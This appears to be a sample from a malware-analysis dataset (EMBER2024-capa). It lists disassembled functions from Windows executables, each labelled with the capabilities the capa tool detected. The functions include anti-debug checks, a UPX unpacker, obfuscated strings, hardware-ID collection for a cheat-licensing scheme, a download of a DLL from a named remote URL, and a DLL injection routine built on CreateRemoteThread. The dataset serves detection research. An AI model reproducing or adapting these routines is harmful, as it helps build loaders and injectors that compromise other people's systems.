joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c8a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 2
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40c8fc
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40c8fc
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40c8fc
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40c8fc
cmp dword [ecx + 0x74], 0xe
jbe 0x40c8fc
cmp dword [ecx + 0xe8], 0
je 0x40c8fc
push dword [ebp + 8]
call fcn.0040c770
add esp, 4
lea eax, [ebp - 0xc]
mov byte [ebp - 1], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 1]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0x417660
call fcn.0040c540
add esp, 8
cmp dword [ebp - 8], 0
jne 0x40c931
push dword [ebp + 8]
call fcn.0040c730
mov esp, ebp
pop ebp
ret

Function at 0x40c970
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40c9cc
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40c9cc
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40c9cc
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40c9cc
cmp dword [ecx + 0x74], 0xe
jbe 0x40c9cc
cmp dword [ecx + 0xe8], 0
je 0x40c9cc
push dword [ebp + 8]
call fcn.0040c770
add esp, 4
lea eax, [ebp - 0xc]
mov byte [ebp - 1], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 1]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0x417660
call fcn.0040c540
add esp, 8
cmp dword [ebp - 8], 0
jne 0x40ca01
push dword [ebp + 8]
call fcn.0040c730
mov esp, ebp
pop ebp
ret

Function at 0x40ca10
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 0xa4]
shl ecx, 0x10
or ecx, dword [eax + 0xa8]
cmp ecx, 0x60000
jae 0x40ca3a
mov eax, 2
pop ebp
ret
push esi
call fcn.0040a870
mov esi, eax
mov eax, dword [ebp + 8]
mov edx, dword [esi + 0x70]
mov ecx, edx
and cl, 2
movzx ecx, cl
neg ecx
sbb ecx, ecx
inc eax
cmp eax, 3
ja case.default.0x40ca5a
jmp dword [eax*4 + 0x40ca90]
or edx, 2
lea eax, [ecx + 2]
mov dword [esi + 0x70], edx
pop esi
pop ebp
ret
and edx, 0xfffffffd
mov dword [esi + 0x70], edx
lea eax, [ecx + 2]
pop esi
pop ebp
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0x16
call fcn.0040a9e0
or eax, 0xffffffff
pop esi
pop ebp
ret
Function at 0x6038c0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1a6000]
push edi
jmp 0x6038da
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x6038e1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6038d0
mov eax, 1
add ebx, ebx
jne 0x6038f3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x603904
jne 0x603923
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x603923
dec eax
add ebx, ebx
jne 0x603910
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x6038e8
add ebx, ebx
jne 0x60391f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x603975
xor ecx, ecx
sub eax, 3
jb 0x60393b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x6039aa
sar eax, 1
mov ebp, eax
jmp 0x603946
add ebx, ebx
jne 0x603946
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x603914
inc ecx
add ebx, ebx
jne 0x603954
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x603914
add ebx, ebx
jne 0x603961
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x603956
jne 0x603972
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x603956
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x603994
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x603986
jmp 0x6038d6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x603994
add edi, ecx
jmp 0x6038d6
pop esi
mov edi, esi
mov ecx, 0x40f0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x6039b2
cmp byte [edi], 0x11
jne 0x6039b2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x6039b7
lea edi, [esi + 0x1fc000]
mov eax, dword [edi]
or eax, eax
je 0x603a2f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x321744]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3218c0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x6039e4
mov ecx, edi
jns 0x603a13
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3218c4]
or eax, eax
je 0x603a29
mov dword [ebx], eax
add ebx, 4
jmp 0x603a01
call dword [esi + 0x3218d4]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x603a60
cmp al, 0xef
ja 0x603a53
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x603a35
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x603a42
mov ebp, dword [esi + 0x3218c8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x603a94
sub esp, 0xffffff80
jmp 0x420577
Function at 0x10042229
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10040f55
add esp, 0xc
mov dword [ebp - 0x3c8], eax
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x334]
push eax
call dword [ebp - 0x3c8]
mov dword [ebp - 0x66c], eax
cmp dword [ebp - 0x66c], 0xffffffff
je 0x10043123
push 0
push dword [ebp - 0x66c]
call dword [ebp - 0x33c]
mov dword [ebp - 0x378], eax
push dword [ebp - 0x378]
push 8
push dword [ebp - 0x674]
call dword [ebp - 0x67c]
mov dword [ebp - 4], eax
call fcn.10040f90
sub dword [ecx], ecx
jge 0x10042271
and byte [ebp - 0x6dc], 0
and byte [ebp - 0x6db], 0
mov byte [ebp - 0x6da], 0x2c
and byte [ebp - 0x6d9], 0
mov byte [ebp - 0x6d8], 0x81
mov byte [ebp - 0x6d7], 0xb6
mov byte [ebp - 0x6d6], 0xb2
mov byte [ebp - 0x6d5], 0xb7
mov byte [ebp - 0x6d4], 0x95
mov byte [ebp - 0x6d3], 0xba
mov byte [ebp - 0x6d2], 0xbf
mov byte [ebp - 0x6d1], 0xb6
mov byte [ebp - 0x6d0], 0xd3
call fcn.10040f90
pop edx
in eax, dx
mov al, 0xa5
lea eax, [ebp - 0x6dc]
push eax
call fcn.10040fa0
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10040f55
add esp, 0xc
mov dword [ebp - 0x6c8], eax
push 0
lea eax, [ebp - 0x6e0]
push eax
push dword [ebp - 0x378]
push dword [ebp - 4]
push dword [ebp - 0x66c]
call dword [ebp - 0x6c8]
mov dword [ebp - 0x6cc], eax
push dword [ebp - 0x66c]
call dword [ebp - 0x680]
cmp dword [ebp - 0x6cc], 0
je 0x10043123
push 5
mov eax, dword [ebp - 0x378]
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax - 0x1d]
push eax
lea eax, [ebp - 0x394]
push eax
call fcn.10040f01
add esp, 0xc
and dword [ebp - 0x700], 0
jmp 0x1004239d
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 5
jge 0x100423e6
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
movsx ecx, byte [ebp - 0x24]
xor eax, ecx
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
not eax
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
jmp 0x10042390
call fcn.10040f90
xor al, 8
dec esp
and byte [ebp - 0x72c], 0
and byte [ebp - 0x72b], 0
mov byte [ebp - 0x72a], 0xc2
and byte [ebp - 0x729], 0
mov byte [ebp - 0x728], 0x6b
mov byte [ebp - 0x727], 0x54
mov byte [ebp - 0x726], 0x4f
mov byte [ebp - 0x725], 0x49
mov byte [ebp - 0x724], 0x48
mov byte [ebp - 0x723], 0x5c
mov byte [ebp - 0x722], 0x51
mov byte [ebp - 0x721], 0x6d
mov byte [ebp - 0x720], 0x4f
mov byte [ebp - 0x71f], 0x52
mov byte [ebp - 0x71e], 0x49
mov byte [ebp - 0x71d], 0x58
mov byte [ebp - 0x71c], 0x5e
mov byte [ebp - 0x71b], 0x49
mov byte [ebp - 0x71a], 0x3d
call fcn.10040f90
mov eax, 0x8d68bb2b
test esp, edx
clc
invalid
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4021d0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push esi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402225
lea ecx, [ebp - 0x20]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x402236
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b4ad
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0x10
lea edx, [ebp - 0x14]
push edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
push 0
push eax
mov dword [ebp - 0x14], 1
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 0x18]
push ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040b4ad
mov esp, ebp
pop ebp
ret

Function at 0x402440
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1118
call fcn.0041c9e0
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
lea eax, [ebp - 0x1110]
push eax
push 0x1000
lea ecx, [ebp - 0x1108]
xor edi, edi
push ecx
mov dword [ebp - 0x110c], edi
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
jne 0x40248c
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b4ad
mov esp, ebp
pop ebp
ret
test dword [ebp - 0x1110], 0xfffffffc
jbe 0x402561
push ebx
mov ebx, dword [sym.imp.PSAPI.DLL_GetModuleBaseNameA]
push esi
jmp 0x4024b0
mov eax, dword [ebp + edi*4 - 0x1108]
test eax, eax
je 0x40254d
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40254d
lea edx, [ebp - 0x1118]
push edx
push 4
lea eax, [ebp - 0x1114]
push eax
push esi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
je 0x40254d
mov edx, dword [ebp - 0x1114]
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push edx
push esi
call ebx
mov ecx, 0x427714
lea eax, [ebp - 0x108]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402530
test dl, dl
je 0x40252c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402530
add eax, 2
add ecx, 2
test dl, dl
jne 0x402510
xor eax, eax
jmp 0x402535
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x402546
mov eax, dword [ebp + edi*4 - 0x1108]
mov dword [ebp - 0x110c], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x1110]
inc edi
shr ecx, 2
cmp edi, ecx
jb 0x4024b0
pop esi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x110c]
xor ecx, ebp
pop edi
call fcn.0040b4ad
mov esp, ebp
pop ebp
ret
Function at 0x402580
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push esi
lea eax, [ebp - 0x108]
push str._s.
push eax
call fcn.0040befd
add esp, 0xc
lea ecx, [ebp - 0x248]
push ecx
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov edi, eax
lea eax, [ebp - 0x21c]
push eax
push esi
lea ecx, [ebp - 0x108]
push str._s_s
push ecx
call fcn.0040befd
lea edx, [ebp - 0x108]
push edx
call fcn.0040cf9e
add esp, 0x14
lea eax, [ebp - 0x248]
push eax
push edi
call ebx
test eax, eax
jne 0x4025c6
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0040b4ad
mov esp, ebp
pop ebp
ret
Function at 0x4040a0
Capabilities:
Create process on windows
Delete file
Get disk information
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42365b
mov eax, dword fs:[0]
push eax
sub esp, 0x618
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.C:HWID.txt
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 0xff
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x61c], eax
lea eax, [ebp - 0x618]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x404219
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x620]
push edx
push 0
push 0
push 0x4275c0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x404219
lea eax, [ebp - 0x61c]
push eax
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x404219
lea edi, [ebp - 0x110]
call fcn.00402aa0
lea edi, [ebp - 0x210]
mov esi, eax
call fcn.00402aa0
mov edx, dword [ebp - 0x620]
add eax, esi
lea eax, [eax + edx + 0x1f3a7]
push eax
lea eax, [ebp - 0x5f8]
push 0x42774c
push eax
call fcn.0040befd
sub esp, 0x10
mov ecx, esp
lea eax, [ebp - 0x5f8]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov dword [ebp - 0x624], esp
mov byte [ecx], 0
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4041a5
sub eax, esi
push eax
lea edx, [ebp - 0x5f8]
push edx
call fcn.00401640
lea ecx, [ebp - 0x614]
call fcn.004092c0
add esp, 0x1c
mov esi, 0x10
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], esi
jb 0x4041dc
mov eax, dword [eax]
push eax
push str.Connection_Failure..._nTelah_terjadi_kesalahan___Mungkin_:_n___Server_down_n___Cheat_disuspend_n___Anda_belum_terdaftar._n___Durasi_Anda_telah_habis._n___Hubungi_Seller_Anda_untuk_info_lebih_lanjut___n___Terima_Kasih____n_n_nYour_HWID_:__s
call fcn.004026c0
add esp, 8
cmp dword [ebp - 0x600], esi
jb 0x404201
mov eax, dword [ebp - 0x614]
push eax
call fcn.0040be21
add esp, 4
push 1
push 0
push 0
push str.C:HWID.txt
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b4ad
mov esp, ebp
pop ebp
ret
Function at 0x404240
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
xor edi, edi
push 0x3ff
lea eax, [ebp - 0x403]
push edi
push eax
mov dword [ebp - 0x40c], edi
mov dword [ebp - 0x408], edi
mov dword [ebp - 0x410], edi
mov byte [ebp - 0x404], 0
call fcn.00414630
add esp, 0xc
push edi
push edi
push edi
push edi
push str.Mozilla_5.0__Windows_NT_6.3__
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
mov dword [ebp - 0x414], ebx
cmp ebx, edi
je 0x40436c
push esi
push edi
push 0x80000000
push edi
push edi
push str.http:__vip_fnatic.com_angin2_SamarindaVip_dll.php
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, edi
je 0x404364
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
push str.C:CB.CBM
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x404357
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x408]
push ecx
push 0x400
lea edx, [ebp - 0x404]
push edx
push esi
call ebx
test eax, eax
je 0x404340
mov eax, dword [ebp - 0x408]
test eax, eax
je 0x404340
push 0
lea ecx, [ebp - 0x410]
push ecx
push eax
lea edx, [ebp - 0x404]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x408]
push eax
push 0x400
lea ecx, [ebp - 0x404]
push ecx
push esi
call ebx
test eax, eax
jne 0x404304
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x414]
mov dword [ebp - 0x40c], 1
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [ebp - 0x40c]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop ebx
call fcn.0040b4ad
mov esp, ebp
pop ebp
ret
Function at 0x404420
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422f18
mov eax, dword fs:[0]
push eax
sub esp, 0x70
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov ecx, 0x5b
xor eax, eax
mov dl, byte [eax + 0x427850]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x7c], dl
jns 0x404470
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x3e
jl 0x404453
push 0x523244
push 0xf003f
push ebx
lea eax, [ebp - 0x7c]
push eax
push 0x80000002
mov byte [ebp - 0x3e], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 1
push 0x427890
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.00401640
mov dword [ebp - 4], ebx
call fcn.00404380
mov ecx, eax
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x4044c0
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00404e80
push 1
mov eax, 0x427894
lea ecx, [ebp - 0x2c]
call fcn.00404e80
call fcn.00404380
mov ecx, eax
lea esi, [ecx + 1]
jmp 0x4044f0
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x4044f0
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00404e80
push 1
mov eax, 0x427894
lea ecx, [ebp - 0x2c]
call fcn.00404e80
call fcn.00404380
mov ecx, eax
lea esi, [ecx + 1]
jmp 0x404520
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x404520
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00404e80
push 1
mov eax, 0x427894
lea ecx, [ebp - 0x2c]
call fcn.00404e80
call fcn.00404380
mov ecx, eax
lea esi, [ecx + 1]
jmp 0x404550
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x404550
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00404e80
push 1
mov eax, 0x427894
lea ecx, [ebp - 0x2c]
call fcn.00404e80
call fcn.00404380
mov ecx, eax
lea esi, [ecx + 1]
jmp 0x404580
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x404580
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00404e80
push 1
mov eax, 0x427898
lea ecx, [ebp - 0x2c]
call fcn.00404e80
mov ecx, 0x5b
xor eax, eax
jmp 0x4045b0
mov dl, byte [eax + 0x42789c]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x3c], dl
jns 0x4045cd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xd
jl 0x4045b0
mov eax, dword [ebp - 0x2c]
mov esi, 0x10
mov byte [ebp - 0x2f], bl
cmp dword [ebp - 0x18], esi
jae 0x4045e6
lea eax, [ebp - 0x2c]
mov ecx, dword [0x523244]
push 0x1f
push eax
push 1
push ebx
lea eax, [ebp - 0x3c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [0x523244]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x18], esi
jb 0x40461b
mov eax, dword [ebp - 0x2c]
push eax
call fcn.0040be21
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b4ad
mov esp, ebp
pop ebp
ret
Function at 0x404640
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push 0
mov esi, ecx
lea ecx, [ebp - 0x108]
push ecx
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
jne 0x404690
push str.An_error_is_occured_when_trying_to_get_the_full_path_of_the_DLL._n
call fcn.0040d009
add esp, 4
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b4ad
mov esp, ebp
pop ebp
ret
push edi
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4046c5
push str.An_error_is_occured_when_trying_to_open_the_target_process._n
call fcn.0040d009
add esp, 4
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b4ad
mov esp, ebp
pop ebp
ret
push ebx
push str._PROCESS_INJECTION__n
call fcn.0040d009
push str.Process_opened_successfully._n
call fcn.0040d009
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 8
push 0x40
push 0x3000
lea edx, [ebp - 0x108]
push edx
call ebx
inc eax
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x404724
push str.An_error_is_occured_when_trying_to_allocate_memory_in_the_target_process._n
call fcn.0040d009
add esp, 4
pop ebx
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b4ad
mov esp, ebp
pop ebp
ret
push esi
push str.Memory_allocate_at_0x_X_n
call fcn.0040d009
add esp, 8
push 0
lea eax, [ebp - 0x108]
push eax
call ebx
inc eax
push eax
lea ecx, [ebp - 0x108]
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x404759
push str.An_error_is_occured_when_trying_to_write_the_DLL_path_in_the_target_process._n
jmp 0x404709
push str.DLL_path_writen_successfully._n
call fcn.0040d009
add esp, 4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, 0xffffffff
je 0x404711
test eax, eax
je 0x404711
push str.LoadLibraryA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
jne 0x404796
push str.An_error_is_occured_when_trying_to_get__LoadLibraryA__address._n
jmp 0x404709
push ebx
push str.LoadLibraryA_address_at_0x_X_n
call fcn.0040d009
add esp, 8
push 0
push 0
push esi
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, 0xffffffff
jne 0x4047c4
push str.An_error_is_occured_when_trying_to_create_the_thread_in_the_target_process._n
jmp 0x404709
push str.DLL_Injected___n
call fcn.0040d009
mov ecx, dword [ebp - 4]
add esp, 4
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.0040b4ad
mov esp, ebp
pop ebp
ret